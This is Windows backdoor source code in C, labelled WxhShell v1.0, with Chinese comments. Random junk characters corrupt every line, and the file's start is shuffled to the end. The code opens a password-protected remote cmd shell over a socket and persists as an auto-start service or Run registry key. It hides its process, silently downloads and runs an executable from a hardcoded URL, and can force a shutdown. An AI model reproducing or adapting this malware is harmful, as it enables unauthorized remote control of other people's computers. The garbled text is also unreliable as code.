    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yi1_oe  
    if(Boot(SHUTDOWN)) @AvXBMq|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xYtY}?!"  
    else { t IdH?x  
    closesocket(wsh); 0e^j:~*  
    ExitThread(0); x;# OM  
    } & %ej=O  
    break; xV:.)Dq9  
    } !t3)j>h:  
  // 获取shell 403%~  
  case 's': { P>z k  
    CmdShell(wsh); yYkk0 3  
    closesocket(wsh); 1c(1YGuH  
    ExitThread(0); MGCwT@P  
    break; )@RTU~#  
  } -IMm#  
  // 退出 &kB[jz_[A  
  case 'x': { >r2m1}6g"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L~cswG'K  
    CloseIt(wsh); 2fT't"gw  
    break; S)p{4`p%  
    } :W_S  
  // 离开 z1aApS  
  case 'q': { WIb\+!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WLV'@$<|(  
    closesocket(wsh); 9 %4Pt=v~d  
    WSACleanup(); YQG[8I  
    exit(1); X4>c(1e  
    break; wO@b=1j  
        } 5r.\maW  
  } y, tA~  
  } H'-Fv!l?  
7 6~x|6)  
  // 提示信息 "!i7U2M'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :c"J$wT/  
} nchhNU  
  } xG 7;Ps4L  
YES!?^}  
  return; `<zaxO  
} K2$mz  
@I2m4Q{O  
// shell模块句柄 LyhLPU0^q  
int CmdShell(SOCKET sock) -@b&qi7&S  
{ %;(+s7  
STARTUPINFO si; W@GcE;#-  
ZeroMemory(&si,sizeof(si)); W1f]A#t<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wb 2N$Ew=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +^{;o0kcx  
PROCESS_INFORMATION ProcessInfo; M@UkXA}  
char cmdline[]="cmd"; ez%RWck  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); udX4SBq-pC  
  return 0;  wa6DJ  
} c5>&~^~>Tx  
pMM-LY7%{  
// 自身启动模式 |tP1,[w">  
int StartFromService(void) 6Ii2rEzD  
{ Fl>v9%A  
typedef struct KS}Ci-  
{ .Ej `!  
  DWORD ExitStatus; }r3, fH  
  DWORD PebBaseAddress; ?d%+85  
  DWORD AffinityMask; KYD,eVQ  
  DWORD BasePriority; oOy@X =cw  
  ULONG UniqueProcessId; E,JDO d}  
  ULONG InheritedFromUniqueProcessId; >^ 0JlL`XG  
}   PROCESS_BASIC_INFORMATION; c Bb!7?6(  
fz31di9$  
PROCNTQSIP NtQueryInformationProcess; 8)&yjY  
 %1<No/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #M&rmKv)g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @g(N!n~  
 HUr;ysw  
  HANDLE             hProcess; 64z9Yr@  
  PROCESS_BASIC_INFORMATION pbi; L.$9ernVY  
M.zS +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;'!U/N;-  
  if(NULL == hInst ) return 0; 2x{@19w)C  
17tph;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .qi$X!0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @riCR<fF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D Km`  
9Gfm?.O5  
  if (!NtQueryInformationProcess) return 0; s@OCj0'l  
X ~%I(?OX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aj51%wKMb:  
  if(!hProcess) return 0; .%+'Ts#ie  
<.CO{L\e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FVMR9~&+  
8)ZWR3)+W  
  CloseHandle(hProcess); -20o%t  
p<Wb^BE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xY(+[T!OF  
if(hProcess==NULL) return 0; ^LaI{UDw%h  
kV!0cLH!hH  
HMODULE hMod; Nt,)5_K <  
char procName[255]; 5Qd |R  
unsigned long cbNeeded; 5)' _3r  
x=Qy{eIe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \xkLI:*\  
V^QKn+/  
  CloseHandle(hProcess); ( t#w@<  
^+oi|y  
if(strstr(procName,"services")) return 1; // 以服务启动 C6,GgDH`  
LG'JQGl5  
  return 0; // 注册表启动 'Y(#Yxc  
} 1 >jG*tr  
q@F"fjWBr  
// 主模块 Jy@cMq2  
int StartWxhshell(LPSTR lpCmdLine) YN?@ S  
{ it=L_zu}  
  SOCKET wsl; h?j;*|o-  
BOOL val=TRUE; A^q= :ofQ  
  int port=0; .{`+bT^b<2  
  struct sockaddr_in door; qGuz`&i  
R?qVFMQ  
  if(wscfg.ws_autoins) Install(); 0&=2+=[c  
0*L|r Jf  
port=atoi(lpCmdLine); _s><>LH~  
D@uw[;Xb5  
if(port<=0) port=wscfg.ws_port; `Gx"3ZUn  
j|FGb:  
  WSADATA data; Fkuq'C<|Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D;Fvd:  
>9a%"<(2#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V"%2Tz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -}%'I ]R=  
  door.sin_family = AF_INET; R"6Gm67t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kv:UQdnU[  
  door.sin_port = htons(port); #i-!:6sLA  
&JAQ:([:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J_}&Btb)e  
closesocket(wsl); 6#T?g7\pyR  
return 1; |w- tkkS  
} [6V'UI6  
?=jmyDXH!  
  if(listen(wsl,2) == INVALID_SOCKET) { b5Rjn1@  
closesocket(wsl); $Rv}L'L  
return 1; \hdR&f5q  
} o m`r^3,  
  Wxhshell(wsl); P{)H7B>  
  WSACleanup(); *U.$=4Az  
Y:&1;`FBZ  
return 0; K6KEdXM4  
cCFSPT2fq[  
} 4U<'3~RN  
<]/`#Xgh  
// 以NT服务方式启动 Bjml%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K_{x y#H  
{ %=/Y~ml?  
DWORD   status = 0; vNL f)B  
  DWORD   specificError = 0xfffffff; iN*d84KTP  
to[EA6J8l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +1Si>I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EhEn|%S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ABNsi$]r0  
  serviceStatus.dwWin32ExitCode     = 0; -le:0NUwI  
  serviceStatus.dwServiceSpecificExitCode = 0; mz1Xk ]nE  
  serviceStatus.dwCheckPoint       = 0; ' :g8a=L  
  serviceStatus.dwWaitHint       = 0; `=uCp^ +v  
mvVVPf9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D4s*J21)D  
  if (hServiceStatusHandle==0) return; .!KlN%As  
[4 g5 {eX  
status = GetLastError(); .2Q`. o)  
  if (status!=NO_ERROR) `PSr64h:D  
{ Y((z9-`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *u>2"!+Ob  
    serviceStatus.dwCheckPoint       = 0; E?y0UD[8J  
    serviceStatus.dwWaitHint       = 0; NhCO C  
    serviceStatus.dwWin32ExitCode     = status; fdho`juFa  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^%M!!wlUH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K).X=2gjY  
    return; 6'(5pt  
  } y 97QqQ^  
00U8<~u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xa*52Q`_  
  serviceStatus.dwCheckPoint       = 0; T=VVK6Lc:  
  serviceStatus.dwWaitHint       = 0; )jR:\fe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vMzR3@4e  
} & ?/h5<  
9Vzk:zOT  
// 处理NT服务事件,比如:启动、停止 s.1(- "DU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;s"m* 4N  
{ BS*cG>T  
switch(fdwControl) #Vv*2Mc  
{ o1MbHBb  
case SERVICE_CONTROL_STOP: r NU,(htS  
  serviceStatus.dwWin32ExitCode = 0; 20^F -,z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `C=!8q  
  serviceStatus.dwCheckPoint   = 0; dulW!&*No  
  serviceStatus.dwWaitHint     = 0; $7TYix8=  
  { cIl^5eE^Pq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `!qWHm6I*  
  } ?-#w [J'6  
  return; j0 =`Jf  
case SERVICE_CONTROL_PAUSE: wa<@bub  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )#ic"UtR  
  break; j V:U%  
case SERVICE_CONTROL_CONTINUE: 8f,jC+(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3tnYK&  
  break; m f4@g05  
case SERVICE_CONTROL_INTERROGATE: s=q\BmG  
  break; BRoi`.b:  
}; z9h`sY~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'QeqWn  
} 5y=X?hF~)  
iA^w2K  
// 标准应用程序主函数 A6lf-8ncx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GaRL]w  
{ l#:=zu  
F__DPEAc_  
// 获取操作系统版本 WHbvb3'  
OsIsNt=GetOsVer(); 3WPMS/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F`Q,pBl1p6  
b ";#qVv C  
  // 从命令行安装 8C,?Ai<ro  
  if(strpbrk(lpCmdLine,"iI")) Install(); "kP.Kx!  
=:~~RqHl  
  // 下载执行文件 @#VxjXW^  
if(wscfg.ws_downexe) { M*t@Q|$:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E'XF n'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2(\>PN-  
} &JfyXM[]  
mWmDH74  
if(!OsIsNt) { Pl1:d{"d  
// 如果时win9x,隐藏进程并且设置为注册表启动 `E!t,*(*E  
HideProc(); r}f -.Fo  
StartWxhshell(lpCmdLine); 7dPA>5"XD  
} ,:>>04O  
else (~}l?k  
  if(StartFromService()) ]YevO(  
  // 以服务方式启动 rZJp>Q)s  
  StartServiceCtrlDispatcher(DispatchTable); G9E?   
else g^B 6N F  
  // 普通方式启动 N_C\L2  
  StartWxhshell(lpCmdLine); \hi{r@k>}  
p@cPm8L3  
return 0; .]r[0U  
} _ esFx  
aMv  
sB7DF<91  
D3XQ>T[*q  
=========================================== -.^Mt.)  
%NeKDE  
jy&p_v1  
Fi7pq2  
,{'~J @  
K\?vTgc(  
" qmxkmO+Qur  
!m_'<=)B4~  
#include <stdio.h> z w5EaY  
#include <string.h> q#OLb"bTr  
#include <windows.h> "<!|am(  
#include <winsock2.h> rB=1*.}FLc  
#include <winsvc.h> {\]SvoJnJ  
#include <urlmon.h> mT!~;] RrF  
F>^k<E?,C  
#pragma comment (lib, "Ws2_32.lib")  sGdt)  
#pragma comment (lib, "urlmon.lib") '7Te{^<FQ$  
c (\-7*En  
#define MAX_USER   100 // 最大客户端连接数 OmU.9PDg-  
#define BUF_SOCK   200 // sock buffer ;y HA.}  
#define KEY_BUFF   255 // 输入 buffer CuuHRvU8  
<&H.pN1_  
#define REBOOT     0   // 重启 cG"jrQ  
#define SHUTDOWN   1   // 关机 `uzRHbJ`  
kx'6FkZPIr  
#define DEF_PORT   5000 // 监听端口 )K5~r>n&  
Gc@ENE f  
#define REG_LEN     16   // 注册表键长度 <#`<Ys3b*!  
#define SVC_LEN     80   // NT服务名长度 PicO3m  
UK _2i(I"e  
// 从dll定义API @Chj0wWZ>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "B+M5B0Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -$e\m] }Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i g?]kZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); It]CoAo+  
1 #EmZ{*  
// wxhshell配置信息 #wC4$y<>  
struct WSCFG { (/qY*?  
  int ws_port;         // 监听端口 7Kh+m@q.  
  char ws_passstr[REG_LEN]; // 口令 Xc Pn  
  int ws_autoins;       // 安装标记, 1=yes 0=no k)S7SbQ  
  char ws_regname[REG_LEN]; // 注册表键名 !3HMGzt  
  char ws_svcname[REG_LEN]; // 服务名 v t(kL(}v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U6M4}q(N]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zEks4yd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DbOWnXV"o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Z8zD[l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [$] JvF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C #TS  
N k^#Sa?  
}; u!g<y  
VK$+Nm)  
// default Wxhshell configuration 0 'L+9T5  
struct WSCFG wscfg={DEF_PORT, i(U*<1y  
    "xuhuanlingzhe", rRsLl/d  
    1, 7&T1RB'>  
    "Wxhshell", u9VJ{F  
    "Wxhshell", /D~z}\k  
            "WxhShell Service", 6'qs=Ql  
    "Wrsky Windows CmdShell Service", B&.XGo)  
    "Please Input Your Password: ", 2Db[dk( ]  
  1, C9bf1ddCW&  
  "http://www.wrsky.com/wxhshell.exe",  Gc SX5c  
  "Wxhshell.exe" 4|Z3;;%+  
    }; I.(/j  
CZbp}:|  
// 消息定义模块 :L\@+}{(c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bLf }U9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~~yo& ]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OF DPtJwV  
char *msg_ws_ext="\n\rExit."; 1}V_:~7  
char *msg_ws_end="\n\rQuit."; /u#uC(Uwl  
char *msg_ws_boot="\n\rReboot..."; }dB01Jl '  
char *msg_ws_poff="\n\rShutdown..."; s6KZV@1  
char *msg_ws_down="\n\rSave to "; iCw~4KG  
iLS' 47  
char *msg_ws_err="\n\rErr!"; *!.'1J:YJ(  
char *msg_ws_ok="\n\rOK!"; x:?1fvVR  
*4r;H2%c  
char ExeFile[MAX_PATH]; $=H\#e)]Ug  
int nUser = 0; (<3'LhFII  
HANDLE handles[MAX_USER]; e#16,a-}o  
int OsIsNt; ~BZA_w"`1  
501|Y6ptl  
SERVICE_STATUS       serviceStatus; AZtZa'hbkQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &|gn%<^  
$Cf_RFH0  
// 函数声明 Iy`Zh@"~  
int Install(void); 3YRhqp"E  
int Uninstall(void); gv<9XYByt  
int DownloadFile(char *sURL, SOCKET wsh); 4}?Yp e-  
int Boot(int flag); hEEbH@b  
void HideProc(void); * =r,V  
int GetOsVer(void); v?Y9z!M  
int Wxhshell(SOCKET wsl); +gT?{;3[i  
void TalkWithClient(void *cs); ea7v:#O[S  
int CmdShell(SOCKET sock); BH%eu 7`t  
int StartFromService(void); tR2IjvmsX  
int StartWxhshell(LPSTR lpCmdLine); Q*U$i#,  
*a+~bX)18  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )7J@A%u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zXMIDrq  
xJZbax[  
// 数据结构和表定义 qFvtqv2  
SERVICE_TABLE_ENTRY DispatchTable[] = rF 7EO%,  
{ )!M:=}."  
{wscfg.ws_svcname, NTServiceMain}, }{ 9E~"_[  
{NULL, NULL} LI(Wu6*Y  
}; Yo:>m*31  
uZW1 :cx  
// 自我安装 l} h<2  
int Install(void) f3*u_LO  
{ mqtl0P0  
  char svExeFile[MAX_PATH]; V&NOp  
  HKEY key; 9h~>7VeZ)  
  strcpy(svExeFile,ExeFile); #nn2odR  
6C) G  
// 如果是win9x系统,修改注册表设为自启动 .cle^P  
if(!OsIsNt) { #9p{Y}2#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %.[GR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HiVF<tN  
  RegCloseKey(key); | \Qr cf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3LX<&."z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2<Ub[R  
  RegCloseKey(key); b ~v  
  return 0; Q{mls  
    } f'R^MX2  
  } ~@L$}Eu  
} PZH]9[H  
else { [)9bR1wh  
Dth<hS,2J  
// 如果是NT以上系统,安装为系统服务 ^=Up U B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7uxy<#Ar  
if (schSCManager!=0) l=bB,7gL  
{ J;'?(xO3\  
  SC_HANDLE schService = CreateService sx(yG9  
  ( %VSST?aUvX  
  schSCManager, !]5F2~"v  
  wscfg.ws_svcname, g4%x7#vz0  
  wscfg.ws_svcdisp, B||^ sRMX  
  SERVICE_ALL_ACCESS, :S?'6lOc(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y]M/oH  
  SERVICE_AUTO_START, E jBEZL|_  
  SERVICE_ERROR_NORMAL, mKWA-h+f  
  svExeFile, g8}/Ln*W'  
  NULL, vZ$uD,@;.  
  NULL, _0^<)OSY  
  NULL, 6}{2W<  
  NULL, Jp_{PR:&  
  NULL lXL\e(ow  
  ); .ay K+6I  
  if (schService!=0) ^|as]x!sv  
  { ].2q.7Yur  
  CloseServiceHandle(schService); WihOGdUS6  
  CloseServiceHandle(schSCManager); U*v//@WbH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n5oB#>tI0  
  strcat(svExeFile,wscfg.ws_svcname); )"|g&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bn47O~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `%F.]|Y0  
  RegCloseKey(key); Qe]@`Vg  
  return 0; Vx-H W;,  
    } ]?mWnEi!z  
  } QoI@/ jLj  
  CloseServiceHandle(schSCManager); :NS;y-{^^y  
} MdZ7Yep  
} mNm 8I8  
56&s'  
return 1; N;RZIg(x  
} T" 8>6a@}E  
XQ,I Ej|  
// 自我卸载 =F8uuYX%m  
int Uninstall(void) 'Ys"yY@  
{ b"x;i\Z0%  
  HKEY key; E{ Y0TZ+  
KdYT5VUM/  
if(!OsIsNt) { y|iZuHS}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;z)$wH0xc  
  RegDeleteValue(key,wscfg.ws_regname); x\;`x$3t  
  RegCloseKey(key); d<(1^Rto  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @wZ`;J%  
  RegDeleteValue(key,wscfg.ws_regname); \f0I:%-  
  RegCloseKey(key); duV|'ntr  
  return 0; tCtR(mG=A  
  } 0xIr:aFF  
} Lm:O vVVB  
} B,|M  
else { Yca9G?^\v  
7Cp>iWV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !W]># Pm  
if (schSCManager!=0) G:A ~nv9  
{ 8+v6%,K2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Kd9}CDAZ  
  if (schService!=0) fx%'7/+  
  { ^fXNeBj  
  if(DeleteService(schService)!=0) { HSp*lHU  
  CloseServiceHandle(schService); RE!MX>sOEq  
  CloseServiceHandle(schSCManager); H*EQ%BLW^,  
  return 0; DT n=WGm)  
  } %!p14c*J H  
  CloseServiceHandle(schService); vy@;zrs  
  } ^yH|k@y  
  CloseServiceHandle(schSCManager); NQ@ EZoJ  
} T?^AllUZQR  
} nLQ 3s3@1>  
X& O o1y  
return 1; z=BX-)  
} i LK8Wnrq  
l yO_rZT  
// 从指定url下载文件 B2WPjhzD  
int DownloadFile(char *sURL, SOCKET wsh) zZki9P   
{ hH )jX`Ta  
  HRESULT hr; Q gDjc '  
char seps[]= "/"; k[y{&f,  
char *token; :[|`&_D9J  
char *file; wToz{!n  
char myURL[MAX_PATH]; J Y %B:  
char myFILE[MAX_PATH]; qC.jXU?rO  
;QREwT~H  
strcpy(myURL,sURL); 4U C/pGZY  
  token=strtok(myURL,seps); pk: ruf`)  
  while(token!=NULL) 8y~ Jn~t  
  { \QHe0?6  
    file=token; '1=/G7g  
  token=strtok(NULL,seps); 0f;L!.eP  
  }  @*%Q,$  
jr" yIC_  
GetCurrentDirectory(MAX_PATH,myFILE); g%1!YvS3v  
strcat(myFILE, "\\"); 91mXvQ:u  
strcat(myFILE, file); #x)G2T'?  
  send(wsh,myFILE,strlen(myFILE),0); V{ra,a*  
send(wsh,"...",3,0); V*U"OJ%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DtXXfp@;  
  if(hr==S_OK) \C/`?"4w  
return 0; G*\wu&7!  
else =h5&\4r=  
return 1; $-M1<?5  
nU)}!` E  
} gC<\1AIu  
C[n,j#Mvje  
// 系统电源模块 6(D K\58  
int Boot(int flag) DY~~pi~  
{ 7{8!IcR #  
  HANDLE hToken; eem.lVVD  
  TOKEN_PRIVILEGES tkp; @bfaAh~   
}@!d(U*  
  if(OsIsNt) { x #BUIi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N!9DZEcm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^dYFFKQ  
    tkp.PrivilegeCount = 1; ZJ=-cE2n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QRgWzaI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C&zgt :q6}  
if(flag==REBOOT) { z})H$]:$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1g2%f9G  
  return 0; (gl CTF9v  
} C.%iQx`   
else { W(~G^Xu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) im*QaO%a4  
  return 0; L.l"'=M  
} V<:kS  
  } HR.S.(t[_  
  else { +qD4`aI   
if(flag==REBOOT) { 4-ZiKM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }I#;~|v~<  
  return 0; < LzN/I aJ  
} #wx0xQ~,J  
else { l \xIGs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [-s0'z  
  return 0; rTDx|pvYx  
} &zb_8y,  
} +_ K7x5g  
wf6ZzG:  
return 1; @>(l}5U5  
} EG7ki0  
y 9/27yWB  
// win9x进程隐藏模块 $hg W>e  
void HideProc(void) "aB]?4  
{ yr[iAi"  
kx]f`b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a!Z,~ V8  
  if ( hKernel != NULL ) - Kj$A@~x  
  { ,UH`l./3DX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o=w& &B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PKwHq<vAsB  
    FreeLibrary(hKernel); PX\}lTJ  
  } e9k}n\t3  
2ZNTg@o  
return; 0 (@8   
} g#9KG  
/<zBcpVNV  
// 获取操作系统版本 n KDX=73  
int GetOsVer(void) +3]@0VM26;  
{ 9)aXLM4Y  
  OSVERSIONINFO winfo; Ocx=)WKdW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9);a0}*5  
  GetVersionEx(&winfo); _S2QY7/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "MZVwl"E#  
  return 1; Lo7R^>  
  else /LPSI^l!m  
  return 0; sBZKf8@/  
} :*A6Ba  
Z-Bw?_e_K  
// 客户端句柄模块 z/6kxV89  
int Wxhshell(SOCKET wsl) } Yj ic4?  
{ xJ^Gtq Um  
  SOCKET wsh; SobK<6  
  struct sockaddr_in client; Fg5>CppH  
  DWORD myID; 3AX/A+2  
@~QW~{y  
  while(nUser<MAX_USER) uH65DI<  
{ fCO!M1t  
  int nSize=sizeof(client); Ks8S^77  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JS!rZi  
  if(wsh==INVALID_SOCKET) return 1; oKA8)~Xqou  
o LuGW5wzj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *1Nz VV  
if(handles[nUser]==0) .OXvv _?<  
  closesocket(wsh); HWVWl~FA  
else k2 k/v[60  
  nUser++; *oZBv4Vh   
  } cX E42MM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L$i&>cF\_>  
nCGLuZn  
  return 0; t}_qtO7>  
} [KVBT;q6  
i7cMe8  
// 关闭 socket RUYw D tC  
void CloseIt(SOCKET wsh) .OX.z~":y  
{ B~caHG1b  
closesocket(wsh); |DwI%%0(F  
nUser--; oBifESJ  
ExitThread(0); NU I|4X  
} k3}ymhUf  
JV(|7Sk  
// 客户端请求句柄 Ol{)U;, `  
void TalkWithClient(void *cs) `[VoW2CLH+  
{ 3xp%o5K  
1ncY"S/VO  
  SOCKET wsh=(SOCKET)cs; %]r@vjeyd  
  char pwd[SVC_LEN]; xo7H^!_   
  char cmd[KEY_BUFF]; d_1w 9 F A  
char chr[1]; EoIP#Cnd1  
int i,j; "Z&{  
fC&Egy  
  while (nUser < MAX_USER) { PG&@.KY  
y9pQ1H<F;  
if(wscfg.ws_passstr) { /".+OpL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k8 ,.~HkU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R`!x<J  
  //ZeroMemory(pwd,KEY_BUFF); j:O=9  
      i=0; _dmgNbs  
  while(i<SVC_LEN) { .v/s9'lB  
~ 9^1m  
  // 设置超时 q 1Rk'k4+  
  fd_set FdRead; ]wER&/v"  
  struct timeval TimeOut; 8QXxRD;0:  
  FD_ZERO(&FdRead); UfOF's_'<  
  FD_SET(wsh,&FdRead); B9>3xxp(by  
  TimeOut.tv_sec=8; jxZ R%D  
  TimeOut.tv_usec=0; b@/z^k{%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?VCb@&*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;jo,&C  
`:}GE@]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |A 8xy#  
  pwd=chr[0]; 4F??9o8}  
  if(chr[0]==0xd || chr[0]==0xa) { 7'J}|m{7  
  pwd=0; 1Xu\Tm\Ux  
  break; Y3mATw 3Wh  
  } ~Q0jz/#c  
  i++; 6f\0YU<C&  
    } 9fzbR~s  
5d*k[fZ  
  // 如果是非法用户,关闭 socket Y \& 4`v'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uj(,6K8W  
} R`:Y&)c_$  
h<$Vry}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hGcOk[m 4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r*p<7  
&t+03c8g!  
while(1) { M})2y+  
*G.6\  
  ZeroMemory(cmd,KEY_BUFF); g(;t,Vy,I  
zYbSv~)  
      // 自动支持客户端 telnet标准   K0g<11}(Yg  
  j=0; HulN84  
  while(j<KEY_BUFF) { %K\_gR}V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J 2v=b?NE  
  cmd[j]=chr[0]; ,xn+T)2I  
  if(chr[0]==0xa || chr[0]==0xd) { M9 fAv  
  cmd[j]=0; lJ62[2=V  
  break; q/6d^&  
  } hE/gul?|_  
  j++; >(<OhS(  
    } B&0-~o3WP  
=L 7scv%i  
  // 下载文件 |GA4fFE=  
  if(strstr(cmd,"http://")) { gX{V>T(<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]$EKowi  
  if(DownloadFile(cmd,wsh)) 15)=>=1mR.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c_yf=   
